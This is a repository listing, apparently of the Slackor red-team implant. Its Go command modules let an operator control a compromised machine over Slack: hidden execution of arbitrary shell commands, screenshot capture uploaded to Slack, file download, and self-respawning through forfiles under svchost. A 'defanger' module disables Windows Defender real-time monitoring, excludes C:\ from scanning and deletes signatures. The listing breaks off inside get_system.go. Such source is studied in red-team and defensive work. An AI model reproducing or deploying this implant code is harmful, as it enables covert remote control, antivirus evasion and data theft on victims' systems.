50 | }
51 |
--------------------------------------------------------------------------------
/pkg/common/kill.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "os"
5 |
6 | "github.com/n00py/Slackor/pkg/command"
7 | )
8 |
9 | // Kill kills the implant process
10 | type Kill struct{}
11 |
12 | // Name is the name of the command
13 | func (k Kill) Name() string {
14 | return "kill"
15 | }
16 |
17 | // Run kills the implant process
18 | func (k Kill) Run(clientID string, jobID string, args []string) (string, error) {
19 | // TODO: Check if launched from a persistence method first and auto-run cleanup?
20 | os.Exit(0)
21 | return "", nil
22 | }
23 |
24 | func init() {
25 | command.RegisterCommand(Kill{})
26 | }
27 |
--------------------------------------------------------------------------------
/pkg/common/ls.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "io/ioutil"
7 |
8 | "github.com/dustin/go-humanize"
9 | "github.com/n00py/Slackor/pkg/command"
10 | )
11 |
12 | // List the files in the given directory
13 | type List struct{}
14 |
15 | // Name is the name of the command
16 | func (l List) Name() string {
17 | return "ls"
18 | }
19 |
20 | // Run lists the files in the given directory
21 | func (l List) Run(clientID string, jobID string, args []string) (string, error) {
22 | if len(args) > 1 {
23 | return "", errors.New("ls takes 0 or 1 argument")
24 | }
25 | location := "./"
26 | if len(args) == 1 {
27 | location = args[0]
28 | }
29 | files, err := ioutil.ReadDir(location)
30 | if err != nil {
31 | return "", err
32 | }
33 | var result string
34 | for _, f := range files {
35 | size := humanize.IBytes(uint64(f.Size()))
36 | timestamp := f.ModTime()
37 | ts := timestamp.Format("01/02/2006 3:04:05 PM MST")
38 | dir := " "
39 | if f.IsDir() {
40 | dir = " "
41 | }
42 | result = result + fmt.Sprintf("%-28v", ts) + dir + fmt.Sprintf("%-9v", size) + " " + f.Name() + "\n"
43 | }
44 | return result, nil
45 | }
46 |
47 | func init() {
48 | command.RegisterCommand(List{})
49 | }
50 |
--------------------------------------------------------------------------------
/pkg/common/ls_test.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "os"
5 | "testing"
6 |
7 | "github.com/stretchr/testify/assert"
8 | )
9 |
10 | func TestListNoArgs(t *testing.T) {
11 | t.Run("ls", func(t *testing.T) {
12 | assert := assert.New(t)
13 | wd, _ := os.Getwd()
14 | os.Chdir("testdata/find")
15 |
16 | l := List{}
17 | output, err := l.Run("", "", []string{})
18 | assert.NoError(err)
19 | for _, sub := range []string{"a.txt", "b.pem", "c.key", "subdir"} {
20 | assert.Contains(output, sub)
21 | }
22 | for _, sub := range []string{"d.pem"} {
23 | assert.NotContains(output, sub)
24 | }
25 |
26 | os.Chdir(wd)
27 | })
28 | }
29 |
30 | func TestListWithArgs(t *testing.T) {
31 | t.Run("ls", func(t *testing.T) {
32 | assert := assert.New(t)
33 | wd, _ := os.Getwd()
34 | os.Chdir("testdata/find")
35 |
36 | l := List{}
37 | output, err := l.Run("", "", []string{"subdir"})
38 | assert.NoError(err)
39 | for _, sub := range []string{"d.pem"} {
40 | assert.Contains(output, sub)
41 | }
42 | for _, sub := range []string{"a.txt", "b.pem", "c.key", "subdir"} {
43 | assert.NotContains(output, sub)
44 | }
45 |
46 | os.Chdir(wd)
47 | })
48 | }
49 |
--------------------------------------------------------------------------------
/pkg/common/mkdir.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "os"
6 |
7 | "github.com/n00py/Slackor/pkg/command"
8 | )
9 |
10 | // MkDir creates the given directory
11 | type MkDir struct{}
12 |
13 | // Name is the name of the command
14 | func (m MkDir) Name() string {
15 | return "mkdir"
16 | }
17 |
18 | // Run creates the given directory
19 | func (m MkDir) Run(clientID string, jobID string, args []string) (string, error) {
20 | if len(args) != 1 {
21 | return "", errors.New("mkdir takes 1 argument")
22 | }
23 | path := args[0]
24 | var err = os.Mkdir(path, os.FileMode(0522))
25 | if err != nil {
26 | return "", err
27 | }
28 | return path + " has been created.", nil
29 | }
30 |
31 | func init() {
32 | command.RegisterCommand(MkDir{})
33 | }
34 |
--------------------------------------------------------------------------------
/pkg/common/pwd.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "os"
5 |
6 | "github.com/n00py/Slackor/pkg/command"
7 | )
8 |
9 | // PWD gets the current working directory
10 | type PWD struct{}
11 |
12 | // Name is the name of the command
13 | func (p PWD) Name() string {
14 | return "pwd"
15 | }
16 |
17 | // Run gets the current working directory
18 | func (p PWD) Run(clientID string, jobID string, args []string) (string, error) {
19 | return os.Getwd()
20 | }
21 |
22 | func init() {
23 | command.RegisterCommand(PWD{})
24 | }
25 |
--------------------------------------------------------------------------------
/pkg/common/pwd_test.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "os"
5 | "path/filepath"
6 | "testing"
7 |
8 | "github.com/stretchr/testify/assert"
9 | )
10 |
11 | func TestPWD(t *testing.T) {
12 | tcs := []struct {
13 | name string
14 | path string
15 | }{
16 | {
17 | "original dir",
18 | "",
19 | },
20 | {
21 | "subdirectory",
22 | "subdir",
23 | },
24 | }
25 | for _, tc := range tcs {
26 | t.Run(tc.name, func(t *testing.T) {
27 | assert := assert.New(t)
28 | wd, _ := os.Getwd()
29 | os.Chdir(filepath.Join("testdata/cat/", tc.path))
30 |
31 | p := PWD{}
32 | output, err := p.Run("", "", []string{})
33 | assert.NoError(err)
34 | assert.Contains(output, filepath.Join("testdata/cat/", tc.path))
35 | os.Chdir(wd)
36 | })
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/pkg/common/revive.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/n00py/Slackor/internal/slack"
7 | "github.com/n00py/Slackor/pkg/command"
8 | )
9 |
10 | // Revive reregisters the implant with the channel
11 | type Revive struct{}
12 |
13 | // Name is the name of the command
14 | func (r Revive) Name() string {
15 | return "revive"
16 | }
17 |
18 | // Run reregisters the implant with the channel
19 | func (r Revive) Run(clientID string, jobID string, args []string) (string, error) {
20 | slack.Register(clientID)
21 | return fmt.Sprintf("Reregistering %s.", clientID), nil
22 | }
23 |
24 | func init() {
25 | command.RegisterCommand(Revive{})
26 | }
27 |
--------------------------------------------------------------------------------
/pkg/common/rm.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "os"
6 |
7 | "github.com/n00py/Slackor/pkg/command"
8 | )
9 |
10 | // RM removes the given file or empty directory
11 | type RM struct{}
12 |
13 | // Name is the name of the command
14 | func (p RM) Name() string {
15 | return "rm"
16 | }
17 |
18 | // Run removes the given file or empty directory
19 | func (p RM) Run(clientID string, jobID string, args []string) (string, error) {
20 | if len(args) != 1 {
21 | return "", errors.New("rm takes 1 argument")
22 | }
23 | path := args[0]
24 | err := os.Remove(path)
25 | if err != nil {
26 | return "", err
27 | }
28 | return path + " has been removed.", nil
29 | }
30 |
31 | func init() {
32 | command.RegisterCommand(RM{})
33 | }
34 |
--------------------------------------------------------------------------------
/pkg/common/rmdir.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "os"
6 |
7 | "github.com/n00py/Slackor/pkg/command"
8 | )
9 |
10 | // RMDir removes the given empty directory
11 | type RMDir struct{}
12 |
13 | // Name is the name of the command
14 | func (p RMDir) Name() string {
15 | return "rmdir"
16 | }
17 |
18 | // Run removes the given empty directory
19 | func (p RMDir) Run(clientID string, jobID string, args []string) (string, error) {
20 | if len(args) != 1 {
21 | return "", errors.New("rm takes 1 argument")
22 | }
23 | path := args[0]
24 | st, err := os.Stat(path)
25 | if err != nil {
26 | return "", err
27 | }
28 | if !st.Mode().IsDir() {
29 | return "", errors.New("rmdir can only remove empty directories")
30 | }
31 | err = os.Remove(path)
32 | if err != nil {
33 | return "", err
34 | }
35 | return path + " has been removed.", nil
36 | }
37 |
38 | func init() {
39 | command.RegisterCommand(RMDir{})
40 | }
41 |
--------------------------------------------------------------------------------
/pkg/common/screenshot.go:
--------------------------------------------------------------------------------
1 | // +build !darwin
2 | // +build amd64
3 |
4 | // TODO: Screenshots on darwin are disabled since it doesn't reliably cross-compile. Fix later.
5 |
6 | package common
7 |
8 | import (
9 | "image/png"
10 | "math/rand"
11 | "os"
12 | "strconv"
13 | "time"
14 |
15 | "github.com/kbinani/screenshot"
16 | "github.com/n00py/Slackor/internal/slack"
17 | )
18 |
19 | func randomString(len int) string { //Creates a random string of uppercase letters
20 | bytes := make([]byte, len)
21 | for i := 0; i < len; i++ {
22 | bytes[i] = byte(65 + rand.Intn(25)) //A=65 and Z = 65+25
23 | }
24 | return string(bytes)
25 | }
26 |
27 | // Screenshot takes screenshot(s) and uploads them
28 | type Screenshot struct{}
29 |
30 | // Name is the name of the command
31 | func (s Screenshot) Name() string {
32 | return "screenshot"
33 | }
34 |
35 | // Run takes screenshot(s) and uploads them
36 | func (s Screenshot) Run(clientID string, jobID string, args []string) (string, error) {
37 | n := screenshot.NumActiveDisplays()
38 | rand.Seed(time.Now().UTC().UnixNano())
39 | for i := 0; i < n; i++ {
40 | bounds := screenshot.GetDisplayBounds(i)
41 | img, _ := screenshot.CaptureRect(bounds)
42 | screen, _ := os.Create(clientID + "_" + strconv.Itoa(i) + "_" + string(time.Now().Format("20060102150405")) + ".png")
43 | png.Encode(screen, img)
44 | screen.Close()
45 | err := slack.Upload(clientID, randomString(5), screen.Name())
46 | if err != nil {
47 | return "", err
48 | }
49 | os.Remove(string(screen.Name()))
50 | }
51 | return "Screenshot(s) uploaded.", nil
52 | }
53 |
--------------------------------------------------------------------------------
/pkg/common/sleep.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "strconv"
6 | "time"
7 |
8 | "github.com/n00py/Slackor/pkg/command"
9 | )
10 |
11 | // Sleep pauses for N seconds
12 | type Sleep struct{}
13 |
14 | // Name is the name of the command
15 | func (s Sleep) Name() string {
16 | return "sleep"
17 | }
18 |
19 | // Run pauses for N seconds
20 | func (s Sleep) Run(clientID string, jobID string, args []string) (string, error) {
21 | if len(args) != 1 {
22 | return "", errors.New("sleep takes 1 argument")
23 | }
24 | sleeptime, _ := strconv.Atoi(args[0])
25 | time.Sleep(time.Duration(sleeptime) * time.Second)
26 | return "", nil
27 | }
28 |
29 | func init() {
30 | command.RegisterCommand(Sleep{})
31 | }
32 |
--------------------------------------------------------------------------------
/pkg/common/testdata/cat/a.txt:
--------------------------------------------------------------------------------
1 | The quick brown fox jumped over the lazy dog.
2 |
--------------------------------------------------------------------------------
/pkg/common/testdata/cat/subdir/b.txt:
--------------------------------------------------------------------------------
1 | Sphinx of black quartz, judge my vow.
2 |
--------------------------------------------------------------------------------
/pkg/common/testdata/find/a.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/common/testdata/find/a.txt
--------------------------------------------------------------------------------
/pkg/common/testdata/find/b.pem:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/common/testdata/find/b.pem
--------------------------------------------------------------------------------
/pkg/common/testdata/find/c.key:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/common/testdata/find/c.key
--------------------------------------------------------------------------------
/pkg/common/testdata/find/subdir/d.pem:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/common/testdata/find/subdir/d.pem
--------------------------------------------------------------------------------
/pkg/common/upload.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "io"
7 | "net/http"
8 | "os"
9 | "strings"
10 |
11 | "github.com/n00py/Slackor/internal/config"
12 | "github.com/n00py/Slackor/pkg/command"
13 | )
14 |
15 | // Upload retrieves a file from a URL and writes it to disk
16 | type Upload struct{}
17 |
18 | // Name is the name of the command
19 | func (u Upload) Name() string {
20 | return "upload"
21 | }
22 |
23 | // Run retrieves a file from a URL and writes it to disk
24 | func (u Upload) Run(clientID string, jobID string, args []string) (string, error) {
25 | if len(args) != 1 {
26 | return "", errors.New("upload takes 1 argument")
27 | }
28 | // The upload command downloads files and writes them to disk
29 | // Command is named from the perspective of the remote system
30 | url := args[0]
31 | filename := strings.Split(url, "/")
32 | filename = strings.Split(filename[len(filename)-1], "?")
33 | out, err := os.Create(filename[0])
34 | if err != nil {
35 | return "", err
36 | }
37 | defer out.Close()
38 | // Get the data
39 | client := &http.Client{}
40 | req, err := http.NewRequest("GET", url, nil)
41 | if err != nil {
42 | return "", err
43 | }
44 | if strings.Contains(url, "slack.com") {
45 | req.Header.Set("Authorization", "Bearer "+config.Token)
46 | }
47 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
48 | res, err := client.Do(req)
49 | if err != nil {
50 | return "", err
51 | }
52 | // Write the body to file
53 | _, err = io.Copy(out, res.Body)
54 | if err != nil {
55 | return "", err
56 | }
57 | return fmt.Sprintf("File uploaded to %s", filename[0]), nil
58 | }
59 |
60 | func init() {
61 | command.RegisterCommand(Upload{})
62 | }
63 |
--------------------------------------------------------------------------------
/pkg/common/whoami.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "os/user"
5 |
6 | "github.com/n00py/Slackor/pkg/command"
7 | )
8 |
9 | // WhoAmI returns the current user
10 | type WhoAmI struct{}
11 |
12 | // Name is the name of the command
13 | func (s WhoAmI) Name() string {
14 | return "whoami"
15 | }
16 |
17 | // Run returns the current user
18 | func (s WhoAmI) Run(clientID string, jobID string, args []string) (string, error) {
19 | user, err := user.Current()
20 | if err != nil {
21 | return "", err
22 | }
23 | return string(user.Username), nil
24 | }
25 |
26 | func init() {
27 | command.RegisterCommand(WhoAmI{})
28 | }
29 |
--------------------------------------------------------------------------------
/pkg/darwin/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/darwin/.gitkeep
--------------------------------------------------------------------------------
/pkg/darwin/execute.go:
--------------------------------------------------------------------------------
1 | // +build darwin
2 |
3 | package darwin
4 |
5 | import (
6 | "bytes"
7 | "fmt"
8 | "os/exec"
9 | "strings"
10 |
11 | "github.com/n00py/Slackor/pkg/command"
12 | )
13 |
14 | var cmdName = "bash"
15 |
16 | // Execute runs an arbitrary command
17 | type Execute struct{}
18 |
19 | // Name is the name of the command
20 | func (e Execute) Name() string {
21 | return "execute"
22 | }
23 |
24 | // Run runs an arbitrary command
25 | func (e Execute) Run(clientID string, jobID string, args []string) (string, error) {
26 | cmdArgs := []string{"-c"}
27 | cmdArgs = append(cmdArgs, strings.Join(args, " "))
28 | cmd := exec.Command(cmdName, cmdArgs...)
29 | fmt.Println("Running command: " + strings.Join(args, " "))
30 | var out bytes.Buffer
31 | var stderr bytes.Buffer
32 | cmd.Stdout = &out
33 | cmd.Stderr = &stderr
34 | err := cmd.Run()
35 | if err != nil {
36 | return stderr.String(), err
37 | }
38 | return out.String(), nil
39 | }
40 |
41 | func init() {
42 | command.RegisterCommand(Execute{})
43 | }
44 |
--------------------------------------------------------------------------------
/pkg/darwin/sysinfo.go:
--------------------------------------------------------------------------------
1 | package darwin
2 |
--------------------------------------------------------------------------------
/pkg/darwin/version.go:
--------------------------------------------------------------------------------
1 | // +build darwin
2 |
3 | package darwin
4 |
5 | import (
6 | "encoding/xml"
7 | "fmt"
8 | "github.com/n00py/Slackor/internal/config"
9 | "github.com/n00py/Slackor/pkg/command"
10 | "io/ioutil"
11 | "os"
12 | )
13 |
14 | // Version gets the OS version
15 | type Version struct{}
16 |
17 | // Name is the name of the command
18 | func (ver Version) Name() string {
19 | return "version"
20 | }
21 |
22 | type Plist struct {
23 | XMLName xml.Name `xml:"plist"`
24 | Text string `xml:",chardata"`
25 | Version string `xml:"version,attr"`
26 | Dict struct {
27 | Text string `xml:",chardata"`
28 | Key []string `xml:"key"`
29 | String []string `xml:"string"`
30 | } `xml:"dict"`
31 | }
32 |
33 | // Run gets the OS version
34 | func (ver Version) Run(clientID string, jobID string, args []string) (string, error) {
35 | path := "/System/Library/CoreServices/SystemVersion.plist"
36 | xmlFile, err := os.Open(path)
37 | if err != nil {
38 | fmt.Println(err)
39 | }
40 | byteValue, _ := ioutil.ReadAll(xmlFile)
41 | defer xmlFile.Close()
42 | var Version Plist
43 | xml.Unmarshal(byteValue, &Version)
44 | version := Version.Dict.String[2] + " " + Version.Dict.String[3]
45 | config.OSVersion = version
46 | return config.OSVersion, nil
47 | }
48 |
49 | func init() {
50 | command.RegisterCommand(Version{})
51 | }
52 |
--------------------------------------------------------------------------------
/pkg/doc.go:
--------------------------------------------------------------------------------
1 | // Package pkg is the collection of utility packages and commands used by
2 | // Slackor components which are not specific to its internals.
3 | //
4 | // Utility packages and commands are kept separate from the Slackor core
5 | // codebase to keep it as small and concise as possible and to allow code
6 | // reuse.
7 | package pkg
8 |
--------------------------------------------------------------------------------
/pkg/linux/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/linux/.gitkeep
--------------------------------------------------------------------------------
/pkg/linux/execute.go:
--------------------------------------------------------------------------------
1 | // +build linux
2 |
3 | package linux
4 |
5 | import (
6 | "bytes"
7 | "fmt"
8 | "os/exec"
9 | "strings"
10 |
11 | "github.com/n00py/Slackor/pkg/command"
12 | )
13 |
14 | var cmdName = "sh"
15 |
16 | // Execute runs an arbitrary command
17 | type Execute struct{}
18 |
19 | // Name is the name of the command
20 | func (e Execute) Name() string {
21 | return "execute"
22 | }
23 |
24 | // Run runs an arbitrary command
25 | func (e Execute) Run(clientID string, jobID string, args []string) (string, error) {
26 | cmdArgs := []string{"-c"}
27 | cmdArgs = append(cmdArgs, strings.Join(args, " "))
28 | cmd := exec.Command(cmdName, cmdArgs...)
29 | fmt.Println("Running command: " + strings.Join(args, " "))
30 | var out bytes.Buffer
31 | var stderr bytes.Buffer
32 | cmd.Stdout = &out
33 | cmd.Stderr = &stderr
34 | err := cmd.Run()
35 | if err != nil {
36 | return stderr.String(), err
37 | }
38 | return out.String(), nil
39 | }
40 |
41 | func init() {
42 | command.RegisterCommand(Execute{})
43 | }
44 |
--------------------------------------------------------------------------------
/pkg/linux/sysinfo.go:
--------------------------------------------------------------------------------
1 | package linux
2 |
--------------------------------------------------------------------------------
/pkg/linux/version.go:
--------------------------------------------------------------------------------
1 | // +build linux
2 |
3 | package linux
4 |
5 | import (
6 | "github.com/n00py/Slackor/internal/config"
7 | "github.com/n00py/Slackor/pkg/command"
8 | "io/ioutil"
9 | "strings"
10 | )
11 |
12 | // Version gets the OS version
13 | type Version struct{}
14 |
15 | // Name is the name of the command
16 | func (ver Version) Name() string {
17 | return "version"
18 | }
19 |
20 | // Run gets the OS version
21 | func (ver Version) Run(clientID string, jobID string, args []string) (string, error) {
22 | path := "/proc/version"
23 | content, _ := ioutil.ReadFile(path)
24 | version := strings.Split(string(content), "(")
25 | config.OSVersion = version[0]
26 | return config.OSVersion, nil
27 | }
28 |
29 | func init() {
30 | command.RegisterCommand(Version{})
31 | }
32 |
--------------------------------------------------------------------------------
/pkg/windows/check_admin.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package windows
4 |
5 | import "os"
6 |
7 | func checkForAdmin() bool { //attempts to get a file handle on MBR, only Admin can
8 | _, err := os.Open("\\\\.\\PHYSICALDRIVE0")
9 | if err != nil {
10 | return false
11 | }
12 | return true
13 | }
14 |
--------------------------------------------------------------------------------
/pkg/windows/const.go:
--------------------------------------------------------------------------------
1 | package windows
2 |
3 | const (
4 | // MEM_COMMIT is a Windows constant used with Windows API calls
5 | MEM_COMMIT = 0x1000
6 | // MEM_RESERVE is a Windows constant used with Windows API calls
7 | MEM_RESERVE = 0x2000
8 | // MEM_RELEASE is a Windows constant used with Windows API calls
9 | MEM_RELEASE = 0x8000
10 | // PAGE_EXECUTE is a Windows constant used with Windows API calls
11 | PAGE_EXECUTE = 0x10
12 | // PAGE_EXECUTE_READWRITE is a Windows constant used with Windows API calls
13 | PAGE_EXECUTE_READWRITE = 0x40
14 | // PAGE_READWRITE is a Windows constant used with Windows API calls
15 | PAGE_READWRITE = 0x04
16 | // PROCESS_CREATE_THREAD is a Windows constant used with Windows API calls
17 | PROCESS_CREATE_THREAD = 0x0002
18 | // PROCESS_VM_READ is a Windows constant used with Windows API calls
19 | PROCESS_VM_READ = 0x0010
20 | //PROCESS_VM_WRITE is a Windows constant used with Windows API calls
21 | PROCESS_VM_WRITE = 0x0020
22 | // PROCESS_VM_OPERATION is a Windows constant used with Windows API calls
23 | PROCESS_VM_OPERATION = 0x0008
24 | // PROCESS_QUERY_INFORMATION is a Windows constant used with Windows API calls
25 | PROCESS_QUERY_INFORMATION = 0x0400
26 | // TH32CS_SNAPHEAPLIST is a Windows constant used with Windows API calls
27 | TH32CS_SNAPHEAPLIST = 0x00000001
28 | // TH32CS_SNAPMODULE is a Windows constant used with Windows API calls
29 | TH32CS_SNAPMODULE = 0x00000008
30 | // TH32CS_SNAPPROCESS is a Windows constant used with Windows API calls
31 | TH32CS_SNAPPROCESS = 0x00000002
32 | // TH32CS_SNAPTHREAD is a Windows constant used with Windows API calls
33 | TH32CS_SNAPTHREAD = 0x00000004
34 | // THREAD_SET_CONTEXT is a Windows constant used with Windows API calls
35 | THREAD_SET_CONTEXT = 0x0010
36 | ERROR_ALREADY_EXISTS = 183
37 |
38 | // Virtual-Key Codes
39 | vk_BACK = 0x08
40 | vk_TAB = 0x09
41 | vk_CLEAR = 0x0C
42 | vk_RETURN = 0x0D
43 | vk_SHIFT = 0x10
44 | vk_CONTROL = 0x11
45 | vk_MENU = 0x12
46 | vk_PAUSE = 0x13
47 | vk_CAPITAL = 0x14
48 | vk_ESCAPE = 0x1B
49 | vk_SPACE = 0x20
50 | vk_PRIOR = 0x21
51 | vk_NEXT = 0x22
52 | vk_END = 0x23
53 | vk_HOME = 0x24
54 | vk_LEFT = 0x25
55 | vk_UP = 0x26
56 | vk_RIGHT = 0x27
57 | vk_DOWN = 0x28
58 | vk_SELECT = 0x29
59 | vk_PRINT = 0x2A
60 | vk_EXECUTE = 0x2B
61 | vk_SNAPSHOT = 0x2C
62 | vk_INSERT = 0x2D
63 | vk_DELETE = 0x2E
64 | vk_LWIN = 0x5B
65 | vk_RWIN = 0x5C
66 | vk_APPS = 0x5D
67 | vk_SLEEP = 0x5F
68 | vk_NUMPAD0 = 0x60
69 | vk_NUMPAD1 = 0x61
70 | vk_NUMPAD2 = 0x62
71 | vk_NUMPAD3 = 0x63
72 | vk_NUMPAD4 = 0x64
73 | vk_NUMPAD5 = 0x65
74 | vk_NUMPAD6 = 0x66
75 | vk_NUMPAD7 = 0x67
76 | vk_NUMPAD8 = 0x68
77 | vk_NUMPAD9 = 0x69
78 | vk_MULTIPLY = 0x6A
79 | vk_ADD = 0x6B
80 | vk_SEPARATOR = 0x6C
81 | vk_SUBTRACT = 0x6D
82 | vk_DECIMAL = 0x6E
83 | vk_DIVIDE = 0x6F
84 | vk_F1 = 0x70
85 | vk_F2 = 0x71
86 | vk_F3 = 0x72
87 | vk_F4 = 0x73
88 | vk_F5 = 0x74
89 | vk_F6 = 0x75
90 | vk_F7 = 0x76
91 | vk_F8 = 0x77
92 | vk_F9 = 0x78
93 | vk_F10 = 0x79
94 | vk_F11 = 0x7A
95 | vk_F12 = 0x7B
96 | vk_NUMLOCK = 0x90
97 | vk_SCROLL = 0x91
98 | vk_LSHIFT = 0xA0
99 | vk_RSHIFT = 0xA1
100 | vk_LCONTROL = 0xA2
101 | vk_RCONTROL = 0xA3
102 | vk_LMENU = 0xA4
103 | vk_RMENU = 0xA5
104 | vk_OEM_1 = 0xBA
105 | vk_OEM_PLUS = 0xBB
106 | vk_OEM_COMMA = 0xBC
107 | vk_OEM_MINUS = 0xBD
108 | vk_OEM_PERIOD = 0xBE
109 | vk_OEM_2 = 0xBF
110 | vk_OEM_3 = 0xC0
111 | vk_OEM_4 = 0xDB
112 | vk_OEM_5 = 0xDC
113 | vk_OEM_6 = 0xDD
114 | vk_OEM_7 = 0xDE
115 | vk_OEM_8 = 0xDF
116 | )
117 |
--------------------------------------------------------------------------------
/pkg/windows/defanger.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package windows
4 |
5 | import (
6 | "os/exec"
7 | "syscall"
8 |
9 | "errors"
10 |
11 | "github.com/n00py/Slackor/pkg/command"
12 | )
13 |
14 | // Defanger stops real-time monitoring or adds a C:\ exclusion or deletes signatures
15 | type Defanger struct{}
16 |
17 | // Name is the name of the command
18 | func (d Defanger) Name() string {
19 | return "defanger"
20 | }
21 |
22 | // Run stops real-time monitoring or adds a C:\ exclusion or deletes signatures
23 | func (d Defanger) Run(clientID string, jobID string, args []string) (string, error) {
24 | if len(args) != 1 {
25 | return "", errors.New("defanger takes 1 argument")
26 | }
27 | mode := args[0]
28 | if checkForAdmin() {
29 | switch mode {
30 | case "realtime":
31 | cmdName := "powershell.exe"
32 | cmdRT := exec.Command(cmdName)
33 | cmdArgs := []string{"Set-MpPreference -DisableRealtimeMonitoring $true"}
34 | cmdRT = exec.Command(cmdName, cmdArgs...)
35 | cmdRT.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
36 | err := cmdRT.Run()
37 | if err != nil {
38 | return "", err
39 | }
40 | case "exclusion":
41 | cmdName := "powershell.exe"
42 | cmdE := exec.Command(cmdName)
43 | cmdEArgs := []string{"Add-MpPreference -ExclusionPath C:\\"}
44 | cmdE = exec.Command(cmdName, cmdEArgs...)
45 | cmdE.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
46 | err := cmdE.Run()
47 | if err != nil {
48 | return "", err
49 | }
50 | case "signatures":
51 | cmdName := "cmd.exe"
52 | cmdS := exec.Command(cmdName)
53 | cmdArgs := []string{"\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true"}
54 | cmdS = exec.Command(cmdName, cmdArgs...)
55 | cmdS.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
56 | err := cmdS.Run()
57 | if err != nil {
58 | return "", err
59 | }
60 | }
61 | return "Attempted to defang.", nil
62 | } else {
63 | return "", errors.New("agent is not running as high integrity")
64 | }
65 | }
66 |
67 | func init() {
68 | command.RegisterCommand(Defanger{})
69 | }
70 |
--------------------------------------------------------------------------------
/pkg/windows/duplicate.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package windows
4 |
5 | import (
6 | "bytes"
7 | "fmt"
8 | "os"
9 | "os/exec"
10 | "path/filepath"
11 | "syscall"
12 |
13 | "github.com/n00py/Slackor/pkg/command"
14 | )
15 |
16 | // Duplicate spawns a new agent using forfiles.exe
17 | type Duplicate struct{}
18 |
19 | // Name is the name of the command
20 | func (d Duplicate) Name() string {
21 | return "duplicate"
22 | }
23 |
24 | // Run spawns a new agent using forfiles.exe
25 | func (d Duplicate) Run(clientID string, jobID string, args []string) (string, error) {
26 | cmdName := "forfiles.exe"
27 | ex, err := os.Executable()
28 | if err != nil {
29 | panic(err)
30 | }
31 | exPath := filepath.Dir(ex)
32 | exName := filepath.Base(os.Args[0])
33 | exAgent := ("\"" + exPath + "\\" + exName + "\"")
34 |
35 | cmd := exec.Command(cmdName)
36 | cmdArgs := []string{"/p", `c:\windows\system32`, "/m", "svchost.exe", "/c", exAgent}
37 | cmd = exec.Command(cmdName, cmdArgs...)
38 | var out bytes.Buffer
39 | var stderr bytes.Buffer
40 | cmd.Stdout = &out
41 | cmd.Stderr = &stderr
42 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
43 | err = cmd.Run()
44 | if err != nil {
45 | return "", err
46 | }
47 | return fmt.Sprintf("Duplicated %s.", exAgent), nil
48 | }
49 |
50 | func init() {
51 | command.RegisterCommand(Duplicate{})
52 | }
53 |
--------------------------------------------------------------------------------
/pkg/windows/execute.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package windows
4 |
5 | import (
6 | "bytes"
7 | "fmt"
8 | "os/exec"
9 | "strings"
10 | "syscall"
11 |
12 | "github.com/n00py/Slackor/pkg/command"
13 | )
14 |
15 | var cmdName = "cmd.exe"
16 |
17 | // Execute runs an arbitrary command
18 | type Execute struct{}
19 |
20 | // Name is the name of the command
21 | func (e Execute) Name() string {
22 | return "execute"
23 | }
24 |
25 | // Run runs an arbitrary command
26 | func (e Execute) Run(clientID string, jobID string, args []string) (string, error) {
27 | cmdArgs := []string{"/c"}
28 | cmdArgs = append(cmdArgs, args...)
29 | cmd := exec.Command(cmdName, cmdArgs...)
30 | fmt.Println("Running command: " + strings.Join(args, " "))
31 | var out bytes.Buffer
32 | var stderr bytes.Buffer
33 | cmd.Stdout = &out
34 | cmd.Stderr = &stderr
35 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
36 | err := cmd.Run()
37 | if err != nil {
38 | return stderr.String(), err
39 | }
40 | return out.String(), nil
41 | }
42 |
43 | func init() {
44 | command.RegisterCommand(Execute{})
45 | }
46 |
--------------------------------------------------------------------------------
/pkg/windows/get_system.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package windows
4 |
5 | import (
6 | "github.com/n00py/Slackor/pkg/command"
7 | "math/rand"
8 | "os"
9 | "os/exec"
10 | "path/filepath"
11 | "syscall"
12 | )
13 |
14 | func randomString(len int) string { //Creates a random string of uppercase letters
15 | bytes := make([]byte, len)
